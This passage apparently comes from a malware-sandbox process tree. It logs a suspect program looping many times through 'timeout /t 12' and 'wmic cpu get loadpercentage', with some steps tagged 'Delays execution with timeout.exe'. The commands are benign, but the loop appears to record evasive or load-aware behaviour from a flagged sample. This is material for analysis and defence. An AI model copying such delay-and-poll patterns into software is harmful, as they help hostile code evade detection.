-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4352
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1416
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2428
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:624
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5052
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4400
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:204
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2012
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4268
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4476
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:692
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4504
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2560
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4208
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4676
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2020
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3192
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4468
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4724
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:368
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5016
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4464
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4992
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4348
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4256
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1392
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2296
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:364
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:596
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:980
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:428
-
-
-
